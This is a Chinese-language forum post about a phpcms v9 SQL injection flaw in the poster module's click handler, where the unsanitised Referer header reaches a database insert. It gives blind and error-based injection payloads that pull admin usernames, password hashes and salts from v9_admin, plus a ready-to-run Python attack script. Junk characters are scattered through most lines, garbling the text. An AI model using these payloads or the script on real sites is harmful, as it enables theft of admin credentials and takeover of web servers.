有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
; y5 U3 p0 d+ S0 q) {
8 w _; `, N) r0 t0 u4 L问题函数\phpcms\modules\poster\index.php
& s9 A. P( S( ]7 m6 w" A6 ^7 R2 i! L! k3 D5 l
public function poster_click() {4 P8 `5 I) t0 f( a
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
3 a- g, z; D( ?6 u$r = $this->db->get_one(array('id'=>$id));
5 ]" W L4 ]) w; j. W' ~5 u+ ]if (!is_array($r) && empty($r)) return false;
% Y; J+ [* o2 d4 D5 T$ip_area = pc_base::load_sys_class('ip_area');6 @0 |! I9 B/ D' }* q* S
$ip = ip();
+ O" l7 @/ @2 g3 N! E! c2 G$area = $ip_area->get($ip);
7 F, `& t- W( u$ ?$username = param::get_cookie('username') ? param::get_cookie('username') : '';
* Q/ U( D5 [" L$ bif($id) {! c: v: ~1 b: Z
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();3 w7 M0 |4 j; y% C8 p
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));" ~3 V5 I+ k. v8 X# l
}
/ h; G' A5 m$ V7 H @1 X# E$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) n9 a" b# u1 h9 A. K, G( V$setting = string2array($r['setting']);, A8 X9 w7 x" Z& J/ O1 ?3 T: @4 s
if (count($setting)==1) {7 u$ [* w9 Z t5 o; S
$url = $setting['1']['linkurl'];4 p' {: p% c9 e) q# d, |
} else {
( n p1 a6 v9 Y+ R+ t6 H$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];2 I/ j! u) H' ^: D2 x% A
}
0 Z( O% }; d/ vheader('Location: '.$url);3 N- v) I9 H4 l; u
}
! j# H/ A1 h+ P" Q, q d
1 i4 ?( F' S" Z4 O. n % W( S' s4 l/ P: }+ V
8 H; R8 A: O9 ~% I利用方式:
6 `& f/ z& A2 O* i: O( `* E. Q9 }+ ]$ {5 ]$ z; f U4 k
1、可以采用盲注入的手法:% g5 s! T, W( b3 ` \
4 P- x6 ~& a j- I9 r. U9 g I: m
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
! v6 f4 K6 ?( _* v
, N4 Y& w2 T" C3 {通过返回页面,正常与否一个个猜解密码字段。9 Z1 w8 a; D% L! r
( N' L l0 `! L7 [* D) T
2、代码是花开写的,随手附上了:
0 |! K8 |1 a3 b4 v) }5 V
+ m, Q' s5 _1 I8 t( N1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#" `- W+ q) F# r% f( V; X
( @0 ^) j( R. K; u: @/ U此方法是爆错注入手法,原理自查。
1 s- r C, k4 a* k
/ i8 {' f1 ]& Q# x1 x/ F/ U
* k! K& X$ p2 s: B" s; ^6 A5 D4 _, O' G* L+ d
利用程序:
3 n4 u0 Z1 k7 W
+ ]6 P" n$ e" |0 _; m9 R! i#!/usr/bin/env python
( p3 d$ _! }8 oimport httplib,sys,re
: Y: X3 `3 N! B b9 z$ Q
g/ Q* U1 Q# W2 k% }& C% {def attack():& P1 F X. o- l0 N
print “Code by Pax.Mac Team conqu3r!”0 i) `3 Y& \6 r: K* x
print “Welcome to our zone!!!”1 j' N, k- L4 U$ \) ]
url=sys.argv[1]
5 W& e3 K& B: E6 U* K% Z; Zpaths=sys.argv[2]
3 W3 h9 l1 Z! kconn = httplib.HTTPConnection(url)& J+ U( p* m, Q
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
8 p5 P d+ Q; R5 N# T“Accept”: “text/plain”, W/ B. q6 k5 f0 O2 g
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
: a& H5 q& c0 G: A0 n0 i5 S" uconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)# M: @1 `+ b' g6 A9 s
r1 = conn.getresponse()) ]) v w e9 [* t
datas=r1.read()
+ B2 G* h' ~- ]7 e0 N. Pdatas=re.findall(r”Duplicate entry \’\w+’”, datas), l0 E- l9 k8 F3 f
print datas[0]0 [% J3 k6 v% A
conn.close()2 c3 e @) R \! N# c. @( l
if __name__==”__main__”:
/ w" w, r. G2 ]0 W# J9 ~) a- Mif len(sys.argv)<3:
* j0 u) s. I: [6 yprint “Code by Pax.Mac Team conqu3r”
: z9 U, P! d) {2 C! A( m& }/ l5 Nprint “Usgae:”
' R7 p- a% l9 J8 Qprint “ phpcmsattack.py www.paxmac.org /”
j7 Q' K& {. O) u; L7 Nprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
2 g, _% g. \" y2 wsys.exit(1)
7 ^( Z5 q2 k" aattack(); e& L! x% H7 C5 F# g
# R; L. {3 p2 U- O9 p/ ~8 `0 s |